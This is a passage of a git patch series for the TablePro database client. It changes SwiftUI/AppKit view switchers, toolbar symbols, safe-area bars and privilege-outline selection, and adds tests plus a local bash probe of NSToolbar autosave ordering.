-            .labelsHidden()
-            .monospacedDigit()
-            .accessibilityIdentifier("structure-tab-picker")
-
-            Spacer()
         }
-        .padding()
+        .monospacedDigit()
         .overlay(alignment: .trailing) {
             if structureChangeManager.isHeldForSave {
                 HStack(spacing: 6) {
diff --git a/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift b/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift
index 7f19473eb0..aea26eaa01 100644
--- a/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift
+++ b/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift
@@ -43,8 +43,8 @@ struct PrincipalDetailPane: View {
                     Text(segment.title).tag(segment)
                 }
             }
-            .pickerStyle(.segmented)
             .labelsHidden()
+            .viewSwitcherStyle()
             .fixedSize()
             .accessibilityIdentifier("usersroles-detail-segment")
         }
diff --git a/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift b/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift
index b543a45e93..a26e3ef286 100644
--- a/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift
+++ b/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift
@@ -21,6 +21,7 @@ final class PrivilegeScopeOutlineCoordinator: NSObject, NSOutlineViewDataSource,
     var principal: PluginPrincipalRef?
 
     private var isRestoringExpansion = false
+    private var isRestoringSelection = false
     private var pendingExpansions: Set<String> = []
     private var nodeChanges: AnyCancellable?
 
@@ -115,10 +116,16 @@ final class PrivilegeScopeOutlineCoordinator: NSObject, NSOutlineViewDataSource,
     }
 
     func restoreExpansion() {
-        guard viewModel.privilegeTree.mode == .hierarchy else { return }
+        guard viewModel.privilegeTree.mode == .hierarchy else {
+            restoreSelection()
+            return
+        }
 
         let saved = Set(viewModel.expansionStore.load())
-        guard !saved.isEmpty else { return }
+        guard !saved.isEmpty else {
+            restoreSelection()
+            return
+        }
 
         Task { @MainActor in
             isRestoringExpansion = true
@@ -137,13 +144,29 @@ final class PrivilegeScopeOutlineCoordinator: NSObject, NSOutlineViewDataSource,
                 }
                 frontier = next
             }
+            restoreSelection()
         }
     }
 
+    /// The outline is rebuilt each time Privileges is shown again, while the checklist keeps acting
+    /// on the scopes the model holds, so the rows for those scopes are selected again. A scope inside
+    /// a collapsed node has no row, and the model keeps it rather than shrinking to what is visible.
+    func restoreSelection() {
+        guard let outlineView, !viewModel.selectedScopes.isEmpty else { return }
+        let rows = IndexSet((0..<outlineView.numberOfRows).filter { row in
+            guard let node = outlineView.item(atRow: row) as? PrivilegeNode else { return false }
+            return viewModel.selectedScopes.contains(node.scope)
+        })
+        guard !rows.isEmpty else { return }
+        isRestoringSelection = true
+        defer { isRestoringSelection = false }
+        outlineView.selectRowIndexes(rows, byExtendingSelection: false)
+    }
+
     // MARK: - Selection
 
     func outlineViewSelectionDidChange(_ notification: Notification) {
-        guard let outlineView, !isRebuildingRows else { return }
+        guard let outlineView, !isRebuildingRows, !isRestoringSelection else { return }
 
         let scopes = outlineView.selectedRowIndexes.compactMap {
             (outlineView.item(atRow: $0) as? PrivilegeNode)?.scope
diff --git a/apple/TablePro/Views/VersionHistory/VersionHistoryDetailHeader.swift b/apple/TablePro/Views/VersionHistory/VersionHistoryDetailHeader.swift
index 15f06a0f38..7f68a82240 100644
--- a/apple/TablePro/Views/VersionHistory/VersionHistoryDetailHeader.swift
+++ b/apple/TablePro/Views/VersionHistory/VersionHistoryDetailHeader.swift
@@ -32,7 +32,7 @@ internal struct VersionHistoryDetailHeader: View {
                 Text("Changes").tag(VersionHistoryViewModel.DisplayMode.changes)
                 Text("Content").tag(VersionHistoryViewModel.DisplayMode.content)
             }
-            .pickerStyle(.segmented)
+            .viewSwitcherStyle()
             .labelsHidden()
             .fixedSize()
             .accessibilityIdentifier("version-history-display-mode")
@@ -42,8 +42,10 @@ internal struct VersionHistoryDetailHeader: View {
                     Text("Unified").tag(TextDiffLayout.unified)
                 }
                 .pickerStyle(.segmented)
+                .controlSize(.small)
                 .labelsHidden()
                 .fixedSize()
+                .accessibilityIdentifier("version-history-diff-layout")
             }
             Button(String(localized: "Restore This Version"), action: restoreSelection)
                 .disabled(!viewModel.canRestoreSelection)
diff --git a/apple/TableProMobile/TableProMobile/Views/Components/BottomSafeAreaBar.swift b/apple/TableProMobile/TableProMobile/Views/Components/BottomSafeAreaBar.swift
deleted file mode 100644
index 719b06f88d..0000000000
--- a/apple/TableProMobile/TableProMobile/Views/Components/BottomSafeAreaBar.swift
+++ /dev/null
@@ -1,22 +0,0 @@
-import SwiftUI
-
-extension View {
-    func bottomSafeAreaBar<Bar: View>(spacing: CGFloat? = 0, @ViewBuilder _ bar: () -> Bar) -> some View {
-        modifier(BottomSafeAreaBar(spacing: spacing, bar: bar()))
-    }
-}
-
-private struct BottomSafeAreaBar<Bar: View>: ViewModifier {
-    let spacing: CGFloat?
-    let bar: Bar
-
-    func body(content: Content) -> some View {
-        if #available(iOS 26.0, *) {
-            content.safeAreaBar(edge: .bottom, spacing: spacing) { bar }
-        } else {
-            content.safeAreaInset(edge: .bottom, spacing: spacing) {
-                bar.background(.bar)
-            }
-        }
-    }
-}
diff --git a/apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift b/apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift
new file mode 100644
index 0000000000..4173f1a675
--- /dev/null
+++ b/apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift
@@ -0,0 +1,27 @@
+import SwiftUI
+
+extension View {
+    func bottomSafeAreaBar<Bar: View>(spacing: CGFloat? = 0, @ViewBuilder _ bar: () -> Bar) -> some View {
+        modifier(SafeAreaBar(edge: .bottom, spacing: spacing, bar: bar()))
+    }
+
+    func topSafeAreaBar<Bar: View>(spacing: CGFloat? = 0, @ViewBuilder _ bar: () -> Bar) -> some View {
+        modifier(SafeAreaBar(edge: .top, spacing: spacing, bar: bar()))
+    }
+}
+
+private struct SafeAreaBar<Bar: View>: ViewModifier {
+    let edge: VerticalEdge
+    let spacing: CGFloat?
+    let bar: Bar
+
+    func body(content: Content) -> some View {
+        if #available(iOS 26.0, *) {
+            content.safeAreaBar(edge: edge, spacing: spacing) { bar }
+        } else {
+            content.safeAreaInset(edge: edge, spacing: spacing) {
+                bar.background(.bar)
+            }
+        }
+    }
+}
diff --git a/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift b/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift
index 16b26b208b..68eb75f77f 100644
--- a/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift
+++ b/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift
@@ -677,7 +677,7 @@ struct ConnectionListView: View {
                 .disabled(!appState.connections.contains(where: \.participatesInSync))
             }
         } label: {
-            Label("More", systemImage: "ellipsis.circle")
+            Label("More", systemImage: ToolbarSymbols.more())
         }
     }
 
diff --git a/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift b/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift
index 9325795562..b70ab4aa42 100644
--- a/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift
+++ b/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift
@@ -468,7 +468,7 @@ struct DataBrowserView: View {
                     }
                 }
             } label: {
-                Label("More", systemImage: "ellipsis.circle")
+                Label("More", systemImage: ToolbarSymbols.more())
             }
         }
         if canInsertRow {
@@ -500,17 +500,13 @@ struct DataBrowserView: View {
                     .pickerStyle(.inline)
                 }
             } label: {
-                Label("Sort", systemImage: viewModel.sortState.isSorting
-                    ? "arrow.up.arrow.down.circle.fill"
-                    : "arrow.up.arrow.down.circle")
+                Label("Sort", systemImage: ToolbarSymbols.sort(isActive: viewModel.sortState.isSorting))
             }
             .disabled(columns.isEmpty)
         }
         ToolbarItem(placement: .topBarTrailing) {
             Button { showFilterSheet = true } label: {
-                Label("Filter", systemImage: viewModel.hasActiveFilters
-                    ? "line.3.horizontal.decrease.circle.fill"
-                    : "line.3.horizontal.decrease.circle")
+                Label("Filter", systemImage: ToolbarSymbols.filter(isActive: viewModel.hasActiveFilters))
             }
             .badge(viewModel.activeFilterCount)
         }
diff --git a/apple/TableProMobile/TableProMobile/Views/StructureView.swift b/apple/TableProMobile/TableProMobile/Views/StructureView.swift
index 7f875e3d95..8c02b240e0 100644
--- a/apple/TableProMobile/TableProMobile/Views/StructureView.swift
+++ b/apple/TableProMobile/TableProMobile/Views/StructureView.swift
@@ -53,7 +53,7 @@ struct StructureView: View {
                 }
             }
         }
-        .safeAreaInset(edge: .top) {
+        .topSafeAreaBar(spacing: nil) {
             Picker("Section", selection: $selectedTab) {
                 ForEach(Tab.allCases, id: \.self) { tab in
                     Text(tab.displayName).tag(tab)
@@ -62,7 +62,6 @@ struct StructureView: View {
             .pickerStyle(.segmented)
             .padding(.horizontal)
             .padding(.vertical, 8)
-            .background(.bar)
         }
         .navigationTitle(table.name)
         .navigationBarTitleDisplayMode(.inline)
diff --git a/apple/TableProMobile/project.yml b/apple/TableProMobile/project.yml
index 9558606aa5..6db30666db 100644
--- a/apple/TableProMobile/project.yml
+++ b/apple/TableProMobile/project.yml
@@ -67,6 +67,8 @@ targets:
       # through a socket.
       - ../Plugins/MySQLDriverPlugin/MySQLLocalSocket.swift
       - ../Plugins/Shared/PluginQueryTimeout.swift
+      # The toolbar glyph rule both apps follow on and before the 26 releases.
+      - ../TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift
       # The ClickHouse plugin driver runs whole behind PluginBackedDriver, so every file of the plugin is compiled in.
       - path: ../Plugins/ClickHouseDriverPlugin
         excludes:
diff --git a/apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift b/apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift
new file mode 100644
index 0000000000..b178ae1dd5
--- /dev/null
+++ b/apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift
@@ -0,0 +1,46 @@
+//
+//  BindingCommittingGridEditTests.swift
+//  TableProTests
+//
+
+import SwiftUI
+@testable import TablePro
+import Testing
+
+@MainActor
+struct BindingCommittingGridEditTests {
+    @MainActor
+    private final class Selection {
+        var tab = "columns"
+    }
+
+    @Test("A tab change commits the open edit while the pane being left is still selected")
+    func commitsBeforePublishing() {
+        let model = DataGridModel(configuration: DataGridConfiguration())
+        let grid = DataTabGridMountStub()
+        grid.isEditing = true
+        model.attach(grid)
+        let selection = Selection()
+        var tabAtCommit: String?
+        grid.onCommit = { tabAtCommit = selection.tab }
+        let binding = Binding(get: { selection.tab }, set: { selection.tab = $0 }).committingEdit(of: model)
+
+        binding.wrappedValue = "indexes"
+
+        #expect(tabAtCommit == "columns")
+        #expect(selection.tab == "indexes")
+        #expect(grid.commitCount == 1)
+        #expect(!grid.isEditing)
+    }
+
+    @Test("With no grid mounted the tab still changes")
+    func changesWithoutAGrid() {
+        let model = DataGridModel(configuration: DataGridConfiguration())
+        let selection = Selection()
+        let binding = Binding(get: { selection.tab }, set: { selection.tab = $0 }).committingEdit(of: model)
+
+        binding.wrappedValue = "indexes"
+
+        #expect(selection.tab == "indexes")
+    }
+}
diff --git a/apple/TableProTests/Core/Menu/ChromeSnapshot.json b/apple/TableProTests/Core/Menu/ChromeSnapshot.json
index 9d709aff7a..538e3869b2 100644
--- a/apple/TableProTests/Core/Menu/ChromeSnapshot.json
+++ b/apple/TableProTests/Core/Menu/ChromeSnapshot.json
@@ -323,9 +323,9 @@
       "com.TablePro.toolbar.database",
       "NSToolbarFlexibleSpaceItem",
       "com.TablePro.toolbar.refresh",
-      "com.TablePro.toolbar.saveChanges",
       "com.TablePro.toolbar.actions",
       "com.TablePro.toolbar.safeMode",
+      "com.TablePro.toolbar.saveChanges",
       "NSToolbarInspectorTrackingSeparatorItemIdentifier",
       "NSToolbarFlexibleSpaceItem",
       "NSToolbarToggleInspectorItem"
@@ -338,9 +338,9 @@
       "com.TablePro.toolbar.database",
       "NSToolbarFlexibleSpaceItem",
       "com.TablePro.toolbar.refresh",
-      "com.TablePro.toolbar.saveChanges",
       "com.TablePro.toolbar.actions",
       "com.TablePro.toolbar.safeMode",
+      "com.TablePro.toolbar.saveChanges",
       "NSToolbarInspectorTrackingSeparatorItemIdentifier",
       "NSToolbarFlexibleSpaceItem",
       "NSToolbarToggleInspectorItem",
diff --git a/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift b/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift
index 2083d57877..7308ac5d35 100644
--- a/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift
+++ b/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift
@@ -14,6 +14,7 @@ struct ToolbarSymbolsTests {
     func containedItemsDropTheCircle() {
         #expect(ToolbarSymbols.more(itemsHaveContainer: true) == "ellipsis")
         #expect(ToolbarSymbols.filter(isActive: false, itemsHaveContainer: true) == "line.3.horizontal.decrease")
+        #expect(ToolbarSymbols.sort(isActive: false, itemsHaveContainer: true) == "arrow.up.arrow.down")
         #expect(ToolbarSymbols.disconnect(itemsHaveContainer: true) == "xmark")
     }
 
@@ -23,16 +24,21 @@ struct ToolbarSymbolsTests {
         #expect(
             ToolbarSymbols.filter(isActive: false, itemsHaveContainer: false) == "line.3.horizontal.decrease.circle"
         )
+        #expect(ToolbarSymbols.sort(isActive: false, itemsHaveContainer: false) == "arrow.up.arrow.down.circle")
         #expect(ToolbarSymbols.disconnect(itemsHaveContainer: false) == "xmark.circle")
     }
 
     /// There is no filled form of the bare glyph, so the disc is the only way to say a filter is on.
-    @Test("An active filter is the filled disc on both", arguments: [true, false])
+    @Test("An active filter or sort is the filled disc on both", arguments: [true, false])
     func activeFilterIsFilled(itemsHaveContainer: Bool) {
         #expect(
             ToolbarSymbols.filter(isActive: true, itemsHaveContainer: itemsHaveContainer)
                 == "line.3.horizontal.decrease.circle.fill"
         )
+        #expect(
+            ToolbarSymbols.sort(isActive: true, itemsHaveContainer: itemsHaveContainer)
+                == "arrow.up.arrow.down.circle.fill"
+        )
     }
 
     @Test("Only a More control without a container draws the menu indicator")
@@ -56,10 +62,11 @@ struct ToolbarSymbolsTests {
             names.insert(ToolbarSymbols.disconnect(itemsHaveContainer: itemsHaveContainer))
             for isActive in [true, false] {
                 names.insert(ToolbarSymbols.filter(isActive: isActive, itemsHaveContainer: itemsHaveContainer))
+                names.insert(ToolbarSymbols.sort(isActive: isActive, itemsHaveContainer: itemsHaveContainer))
             }
         }
 
-        #expect(names.count == 8)
+        #expect(names.count == 11)
         for name in names {
             #expect(
                 NSImage(systemSymbolName: name, accessibilityDescription: nil) != nil,
diff --git a/apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift b/apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift
new file mode 100644
index 0000000000..ea7582c5b3
--- /dev/null
+++ b/apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift
@@ -0,0 +1,76 @@
+import AppKit
+import SwiftUI
+import Testing
+
+@testable import TablePro
+
+@MainActor
+struct ViewSwitcherStyleTests {
+    private enum Mode: Hashable {
+        case first
+        case second
+    }
+
+    private struct Switcher: View {
+        @State private var mode = Mode.first
+
+        var body: some View {
+            Picker(selection: $mode) {
+                Text(verbatim: "First").tag(Mode.first)
+                Text(verbatim: "Second").tag(Mode.second)
+            } label: {
+                Text(verbatim: "Mode")
+            }
+            .labelsHidden()
+            .fixedSize()
+            .viewSwitcherStyle()
+        }
+    }
+
+    @Test("A view switcher is small, with the tabs role on macOS 27")
+    func smallWithTabsRoleOnMacOS27() throws {
+        let (host, control) = try hostedControl()
+        #expect(control.controlSize == .small)
+        #if SDK_MACOS_27
+        if #available(macOS 27.0, *) {
+            #expect(control.role == .tabs)
+        }
+        #endif
+        withExtendedLifetime(host) {}
+    }
+
+    /// Measured on macOS 27, the tabs role turns the radio group into a tab group, but each segment
+    /// is still a radio button named by its label, which is what a UI test clicks.
+    @Test("Each segment stays a radio button named by its label")
+    func segmentsStayNamedRadioButtons() throws {
+        let (host, control) = try hostedControl()
+        var labels: [String] = []
+        func collect(_ element: Any, depth: Int) {
+            guard depth < 4, let object = element as? NSObject else { return }
+            if (object.value(forKey: "accessibilityRole") as? String) == NSAccessibility.Role.radioButton.rawValue,
+               let label = object.value(forKey: "accessibilityLabel") as? String {
+                labels.append(label)
+            }
+            for child in (object.value(forKey: "accessibilityChildren") as? [Any]) ?? [] {
+                collect(child, depth: depth + 1)
+            }
+        }
+        collect(control, depth: 0)
+
+        #expect(labels == ["First", "Second"])
+        withExtendedLifetime(host) {}
+    }
+
+    private func hostedControl() throws -> (NSHostingView<Switcher>, NSSegmentedControl) {
+        let host = NSHostingView(rootView: Switcher())
+        host.frame = NSRect(x: 0, y: 0, width: 300, height: 40)
+        host.layoutSubtreeIfNeeded()
+        let control = try #require(segmentedControls(in: host).first)
+        return (host, control)
+    }
+
+    private func segmentedControls(in view: NSView) -> [NSSegmentedControl] {
+        let own = (view as? NSSegmentedControl).map { [$0] } ?? []
+        return own + view.subviews.flatMap { segmentedControls(in: $0) }
+    }
+}
diff --git a/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift b/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift
index c94c8f52b0..0eee73249a 100644
--- a/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift
+++ b/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift
@@ -22,6 +22,19 @@ struct SidebarScopeControlTests {
         #expect(control.label(forSegment: 1) == String(localized: "Favorites"))
     }
 
+    @Test("macOS 27 draws it as small tabs, earlier releases as a regular control")
+    func tabsRoleOnMacOS27() {
+        let control = SidebarScopeControl()
+        #if SDK_MACOS_27
+        if #available(macOS 27.0, *) {
+            #expect(control.role == .tabs)
+            #expect(control.controlSize == .small)
+            return
+        }
+        #endif
+        #expect(control.controlSize == .regular)
+    }
+
     /// The toolbar version was measured announcing its SF Symbol names, "List" and "favorite". A
     /// worded segment publishes its own label, measured on macOS 27 as a radio group of two radio
     /// buttons under the control.
diff --git a/apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift b/apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift
new file mode 100644
index 0000000000..66fa8c7ad0
--- /dev/null
+++ b/apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift
@@ -0,0 +1,54 @@
+import AppKit
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct PrivilegeScopeOutlineSelectionTests {
+    // Never ordered front and never closed: `close()` on a test window over-releases it.
+    private func mount(selecting scopes: Set<PluginPrivilegeScope>) throws -> (PrivilegeScopeOutline, PrivilegeScopeOutlineCoordinator) {
+        let viewModel = UsersRolesViewModel(connectionId: UUID(), databaseType: .postgresql)
+        viewModel.privilegeTree.showGrantedOnly(scopes: [.database("app"), .database("web")])
+        viewModel.selectedScopes = scopes
+        let coordinator = PrivilegeScopeOutlineCoordinator(viewModel: viewModel)
+        let scrollView = PrivilegeScopeOutlineView.makeScrollView(coordinator: coordinator)
+        scrollView.frame = NSRect(x: 0, y: 0, width: 320, height: 160)
+        let window = NSWindow(
+            contentRect: NSRect(x: 0, y: 0, width: 320, height: 160),
+            styleMask: [.titled],
+            backing: .buffered,
+            defer: false
+        )
+        window.isReleasedWhenClosed = false
+        window.contentView = scrollView
+        let outline = try #require(scrollView.documentView as? PrivilegeScopeOutline)
+        outline.reloadData()
+        return (outline, coordinator)
+    }
+
+    private func row(of scope: PluginPrivilegeScope, in outline: NSOutlineView) -> Int? {
+        (0 ..< outline.numberOfRows).first { (outline.item(atRow: $0) as? PrivilegeNode)?.scope == scope }
+    }
+
+    @Test("A rebuilt outline selects the rows of the scopes the checklist still edits")
+    func rebuiltOutlineSelectsTheModelScopes() throws {
+        let (outline, coordinator) = try mount(selecting: [.database("web")])
+        #expect(outline.selectedRowIndexes.isEmpty)
+
+        coordinator.restoreExpansion()
+
+        let web = try #require(row(of: .database("web"), in: outline))
+        #expect(outline.selectedRowIndexes == IndexSet(integer: web))
+        #expect(coordinator.viewModel.selectedScopes == [.database("web")])
+    }
+
+    @Test("A selected scope with no row stays selected in the model")
+    func scopeWithoutARowIsKept() throws {
+        let (outline, coordinator) = try mount(selecting: [.database("web"), .database("archive")])
+
+        coordinator.restoreExpansion()
+
+        #expect(outline.selectedRowIndexes.count == 1)
+        #expect(coordinator.viewModel.selectedScopes == [.database("web"), .database("archive")])
+    }
+}
diff --git a/apple/TableProUITests/DataFileWindowUITests.swift b/apple/TableProUITests/DataFileWindowUITests.swift
index 9dadf9249e..edd0f10f1c 100644
--- a/apple/TableProUITests/DataFileWindowUITests.swift
+++ b/apple/TableProUITests/DataFileWindowUITests.swift
@@ -23,7 +23,7 @@ final class DataFileWindowUITests: UITestCase {
             "Row Details must show the selected row, Bob"
         )
 
-        let cities = window.radioButtons["Cities"].firstMatch
+        let cities = switcherSegment("Cities", in: window)
         XCTAssertTrue(cities.waitToExist(timeout: 10), "The window must offer the workbook's other sheet")
         cities.click()
         XCTAssertTrue(waitForRowCount("5 rows", in: window), "Choosing a sheet must show that sheet's rows")
diff --git a/apple/TableProUITests/QueryPlanResultUITests.swift b/apple/TableProUITests/QueryPlanResultUITests.swift
index 460cdf5c2d..2492f07d64 100644
--- a/apple/TableProUITests/QueryPlanResultUITests.swift
+++ b/apple/TableProUITests/QueryPlanResultUITests.swift
@@ -38,12 +38,13 @@ final class QueryPlanResultUITests: UITestCase {
         step.click()
         XCTAssertTrue(detail.waitToExist(timeout: 5), "A click on a step in a zoomed-out diagram must open its details")
 
-        let modes = window.radioGroups["query-plan-mode-picker"].firstMatch
-        modes.radioButtons["Tree"].click()
+        // A tab group on macOS 27, where the switcher takes the tabs role, and a radio group before it.
+        let modes = window.descendants(matching: .any)["query-plan-mode-picker"].firstMatch
+        switcherSegment("Tree", in: modes).click()
         let outline = window.outlines["query-plan-outline"].firstMatch
         XCTAssertTrue(outline.waitToExist(timeout: 10), "Tree mode must show the plan outline")
         XCTAssertGreaterThan(outline.outlineRows.count, 0, "The outline must list the plan's steps")
-        modes.radioButtons["Diagram"].click()
+        switcherSegment("Diagram", in: modes).click()
         XCTAssertTrue(canvas.waitToExist(timeout: 10), "Diagram mode must come back")
 
         // Zoom In goes to whatever has focus. Exactly one step from 100% proves the press made from the
diff --git a/apple/TableProUITests/Support/UITestCase.swift b/apple/TableProUITests/Support/UITestCase.swift
index b8597b1fe3..c45ae89162 100644
--- a/apple/TableProUITests/Support/UITestCase.swift
+++ b/apple/TableProUITests/Support/UITestCase.swift
@@ -128,6 +128,15 @@ internal class UITestCase: XCTestCase {
 
     // MARK: - Finding things
 
+    // A view switcher's segment. macOS 27 gives the control the tabs role, which XCUITest reports as a tab
+    // group of `Tab` elements; before it the segments are radio buttons.
+    internal func switcherSegment(_ label: String, in container: XCUIElement) -> XCUIElement {
+        let types = [XCUIElement.ElementType.tab, .radioButton].map(\.rawValue)
+        return container.descendants(matching: .any)
+            .matching(NSPredicate(format: "label == %@ AND elementType IN %@", label, types))
+            .firstMatch
+    }
+
     // A window is a direct child of the application; `app.windows` walks the whole tree to find one.
     internal func window(_ identifier: String, in app: XCUIApplication) -> XCUIElement {
         app.children(matching: .window).matching(identifier: identifier).firstMatch
@@ -276,7 +285,7 @@ internal class UITestCase: XCTestCase {
     internal func showStructure(in app: XCUIApplication, window: XCUIElement) {
         showResultView("Structure", in: app)
         XCTAssertTrue(
-            window.radioGroups["structure-tab-picker"].firstMatch.waitToExist(timeout: 30),
+            window.descendants(matching: .any)["structure-tab-picker"].firstMatch.waitToExist(timeout: 30),
             "The structure editor must open on the Structure result view"
         )
     }
diff --git a/apple/changelog.d/3851.changed.md b/apple/changelog.d/3851.changed.md
new file mode 100644
index 0000000000..382e8e0624
--- /dev/null
+++ b/apple/changelog.d/3851.changed.md
@@ -0,0 +1 @@
+Save Changes sits in its own toolbar section, and panes switch views with native tabs across the app.
diff --git a/apple/scripts/probes/check-toolbar-autosave-reorder.sh b/apple/scripts/probes/check-toolbar-autosave-reorder.sh
new file mode 100755
index 0000000000..b4a6fcc58f
--- /dev/null
+++ b/apple/scripts/probes/check-toolbar-autosave-reorder.sh
@@ -0,0 +1,98 @@
+#!/usr/bin/env bash
+#
+# Check how NSToolbar's autosaved configuration treats a reordered default item list, which decides whether
+# MainWindowToolbar.toolbarIdentifier has to be bumped when defaultItemIdentifiers changes order.
+#
+# A toolbar nobody customized must take the new order on the next launch, and one a user rearranged must keep
+# theirs. Each launch is a separate process under one autosave identifier, as an app update is.
+#
+# Usage:
+#   scripts/probes/check-toolbar-autosave-reorder.sh
+#
+# Writes only to the probe binary's own defaults domain and deletes it at the end. Exits 0 when both cases hold,
+# 1 when one does not, and 3 when the check could not run.
+
+set -uo pipefail
+
+WORK="$(mktemp -d)"
+DOMAIN="toolbar-reorder-probe"
+trap 'defaults delete "$DOMAIN" >/dev/null 2>&1; rm -rf "$WORK"' EXIT
+
+cat > "$WORK/main.swift" <<'SWIFT'
+import AppKit
+
+let ids = ["a", "b", "c", "d"].map { NSToolbarItem.Identifier("probe." + $0) }
+
+final class Delegate: NSObject, NSToolbarDelegate {
+    let order: [NSToolbarItem.Identifier]
+    init(order: [NSToolbarItem.Identifier]) { self.order = order }
+    func toolbar(
+        _ toolbar: NSToolbar,
+        itemForItemIdentifier id: NSToolbarItem.Identifier,
+        willBeInsertedIntoToolbar flag: Bool
+    ) -> NSToolbarItem? {
+        let item = NSToolbarItem(itemIdentifier: id)
+        item.label = id.rawValue
+        item.image = NSImage(systemSymbolName: "circle", accessibilityDescription: nil)
+        return item
+    }
+    func toolbarDefaultItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { order }
+    func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] { ids }
+}
+
+let reordered = CommandLine.arguments[1] == "reordered"
+let customize = CommandLine.arguments.count > 2 && CommandLine.arguments[2] == "customize"
+let app = NSApplication.shared
+app.setActivationPolicy(.accessory)
+let delegate = Delegate(order: reordered ? [ids[0], ids[2], ids[3], ids[1]] : ids)
+let window = NSWindow(
+    contentRect: NSRect(x: 0, y: 0, width: 600, height: 200),
+    styleMask: [.titled, .closable],
+    backing: .buffered,
+    defer: false
+)
+let toolbar = NSToolbar(identifier: "probe.reorder.toolbar")
+toolbar.delegate = delegate
+toolbar.allowsUserCustomization = true
+toolbar.autosavesConfiguration = true
+window.toolbar = toolbar
+window.orderFront(nil)
+DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) {
+    if customize, let index = toolbar.items.firstIndex(where: { $0.itemIdentifier == ids[3] }) {
+        toolbar.removeItem(at: index)
+        toolbar.insertItem(withItemIdentifier: ids[3], at: 0)
+    }
+    print(toolbar.items.map { $0.itemIdentifier.rawValue.replacingOccurrences(of: "probe.", with: "") }.joined(separator: ","))
+    UserDefaults.standard.synchronize()
+    DispatchQueue.main.asyncAfter(deadline: .now() + 0.5) { exit(0) }
+}
+app.run()
+SWIFT
+
+swiftc -O "$WORK/main.swift" -o "$WORK/$DOMAIN" >/dev/null 2>&1 || {
+    echo "the probe did not compile" >&2
+    exit 3
+}
+
+status=0
+defaults delete "$DOMAIN" >/dev/null 2>&1
+"$WORK/$DOMAIN" original >/dev/null
+uncustomized="$("$WORK/$DOMAIN" reordered)"
+if [ "$uncustomized" = "a,c,d,b" ]; then
+    echo "PASS uncustomized toolbar takes the new default order ($uncustomized)"
+else
+    echo "FAIL uncustomized toolbar kept $uncustomized, expected a,c,d,b"
+    status=1
+fi
+
+defaults delete "$DOMAIN" >/dev/null 2>&1
+"$WORK/$DOMAIN" original customize >/dev/null
+customized="$("$WORK/$DOMAIN" reordered)"
+if [ "$customized" = "d,a,b,c" ]; then
+    echo "PASS customized toolbar keeps the user's order ($customized)"
+else
+    echo "FAIL customized toolbar showed $customized, expected d,a,b,c"
+    status=1
+fi
+
+exit $status

From 1ccc33149c9a74b7922ddef048adf3ed30305416 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Tue, 27 Oct 2026 04:13:11 +0700
Subject: [PATCH 06/44] fix(ios): set ITSAppUsesNonExemptEncryption to NO while
 France is not distributed (#3852)

---
 apple/TableProMobile/project.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/apple/TableProMobile/project.yml b/apple/TableProMobile/project.yml
index 6db30666db..173932e730 100644
--- a/apple/TableProMobile/project.yml
+++ b/apple/TableProMobile/project.yml
@@ -190,7 +190,7 @@ targets:
         GENERATE_INFOPLIST_FILE: YES
         INFOPLIST_FILE: TableProMobile/Info.plist
         INFOPLIST_KEY_CFBundleDisplayName: TablePro
-        INFOPLIST_KEY_ITSAppUsesNonExemptEncryption: YES
+        INFOPLIST_KEY_ITSAppUsesNonExemptEncryption: NO
         INFOPLIST_KEY_LSApplicationCategoryType: public.app-category.developer-tools
         INFOPLIST_KEY_UIApplicationSceneManifest_Generation: YES
         INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents: YES

From 165c22b2abd52296d1cfed94f8f78dd8d77b1764 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Tue, 27 Oct 2026 16:33:51 +0700
Subject: [PATCH 07/44] feat(formatter): read each engine's grammar, add layout
 options and Vim tab commands (#3854)

---
